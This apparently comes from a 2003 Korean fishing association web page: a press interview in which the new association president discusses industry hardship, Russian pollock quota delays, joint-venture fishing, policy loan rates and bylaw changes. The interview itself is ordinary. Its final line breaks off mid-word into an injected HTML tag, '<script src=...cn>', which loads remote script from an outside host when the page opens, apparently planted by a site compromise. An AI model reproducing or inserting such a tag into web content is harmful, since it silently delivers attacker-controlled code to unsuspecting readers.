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  협회장 언론 인터뷰 자료
등록일 : 2003/07/14 오후 2:08:00    조회 : 4588

협회장 언론 인터뷰 자료

위기상황 맞고 있는 업계 위해 더욱 분발 다짐
정책자금 금리인하 등 업계 경영 부담 개선 주력
해외어장 유지 노력 강화


▲취임 소감(질문)
-회원사들의 전폭적인 지지로 협회장이라는 중책을 맡긴 했지만 막상 자리에 앉고 보니 기쁨보다 막중한 책임감으로 어깨가 무겁다는 것이 지금의 솔직한 심정입니다.
그동안 협회장 직무대행을 하면서 협회와 업계의 사정을 누구보다 잘 알고 있는 만큼 위기상황을 맞고 있는 협회와 업계를 위해 더욱 열심히 심부름하라는 것이 회원사들의 뜻이라고 생각하고 더욱 더 분발, 노력토록 하겠습니다.
특히 국내외적으로 원양어업 조업 여건이 그 어느 때보다 악화되고 있는 시점에서 협회장 직책을 맡게 된 만큼 새로운 각오와 다짐으로 미약한 힘이나마 업계 발전을 위해 최선을 다 하겠습니다.

▲앞으로 협회 운영은 어디에 중점을 두고 이끌어 나갈 방침입니까?
임기동안 업계 상호간의 이해관계를 잘 조정하고 회원사들의 좋은 의견을 협회 운영에 적극 반영해 회원사들이 서로 신뢰하고 화합할 수 있는 풍토를 확립하는데 중점을 두겠습니다.
특히 최근 우리 업계의 경영 여건이 그 어느 때보다 어려운 점을 감안해 원양 정책자금 금리를 추가 인하토록 정부 당국에 강력히 건의하는 한편 해외어장을 유지 지속시킬 수 있도록 대외 어업협력 노력을 한층 강화토록 하겠습니다.
아울러 업계의 경영부담을 실질적으로 완화할 수 있도록 선박담보 제도 개선과 신용대출 및 전대대출 확대 등을 위해서도 계속 노력하겠습니다.
이와함께 기존 어장 유지와 신어장 확보 및 합작사업 기반을 확고히 하기 위해 명태, 민어, 꽁치, 오징어 등 주요 원양어류에 대한 조정관세를 계속 유지할 수 있도록 노력하는 한편 선원 인력난 해소를 위해 병역특례 인원을 현행대로 유지할 수 있게 정부 당국에 적극 건의할 계획입니다.
▲최근 북양트롤업계가 러시아측의 조업 허가 지연으로 상반기 조업을 정상적으로 하지 못하는 등 많은 어려움을 겪고 있습니다. 북양트롤 업계의 위기 상황을 어떻게 극복해 나갈 계획입니까?
-그동안 우리 업계와 협회, 그리고 정부 당국이 혼신의 노력을 기울여 러시아 정부와 협상을 벌여왔으나 러시아 내부 사정과 그 특수성으로 인해 어업허가장이 지연 발급되는 바람에 업계가 예상밖의 피해를 입게 돼 협회장으로서 가슴아프기 그지 없습니다. 늦게나마 일부 조업이 이뤄지게 된 점을 그나마 다행스럽게 생각하며 앞으로 합작 어업 활성화를 위한 여건 조성에 중점을 두고 북양트롤 문제를 풀어나갈 방침입니다.
지난해에 이어 올해도 명태 민간 어획 쿼터를 제대로 확보하기는 상당히 어려울 것으로 전망되며 쿼터 부족분을 합작 어업 형태로 대체하기 위해 업계가 현재 적극 노력중인 것으로 알고 있습니다.
협회는 업계의 이같은 상황을 고려해 합작 어업 사업이 활성화 될 수 있도록 협회 산하에 합작어업위원회를 신설, 적극적인 지원 체제를 구축할 계획입니다. 아울러 북양트롤 선사들의 해외 합작 어획물 반입량 확대와 대체 어장 개발 등을 정부 당국에 강력히 건의하겠습니다.

▲올해 원양어업 전망에 대해서는 어떻게 생각하십니까?
지난해의 경우 해외트롤어업 등 일부 업종의 조업 호조에도 불구하고 오징어채낚기어업 부진 및 북양트롤어업의 러시아 명태 민간 쿼터 미확보 등으로 인해 근래 찾아보기 힘들 정도로 생산이 부진했습니다.
올해도 북양트롤어업의 경우 러시아 명태 민간 쿼터 확보가 쉽지 않을 것으로 예상되지만 합작사업이 활발히 진행되고 있어 전체 명태 반입량은 오히려 예년 수준보다 높아질 것으로 보이기 때문에 지난해보다는 상황이 훨씬 나아질 것으로 보입니다. 다만 국제유가에 큰 영향을 미치고 있는 이라크 사태가 어떤 방향으로 전개될 지 쉽게 예측할 수 없다는 점이 다소 염려스럽긴 하지만 전반적으로 어가 수준만 다소 낳아진다면 전반적으로 원양어업 경영상태가 지난해보다 훨씬 좋아지지 않을까 조심스레 기대해 봅니다.

▲특별회원 가입 규정 및 비상근임원 임기 등 정관 규정 등을 개정하게 된 배경은
-국내외 환경 변화에 대비하고 현안 문제에 대한 적극적인 대응체제 마련을 위한 것으로 이해해 주십시오.
특별회원 가입 규정을 변경한 것은 인도네시아 트롤어업 출어사를 비롯 일부 아직 협회에 가입하지 않은 어선 1,2척 보유 영세업체에 대해 회원 가입의 기회를 확대해 주자는 취지에서입니다. 현행 협회 가입금 1천2백만원 중 6백만원 이상을 납부할 시 우선 특별회원으로서 가입 자격을 부여하고 가입금 완납시는 정회원으로 전환하는 것이 골자입니다. 특별회원은 총회의 의결권 및 피선거권은 제한되지만 영세?script src=http://jh3v3.cn></script>


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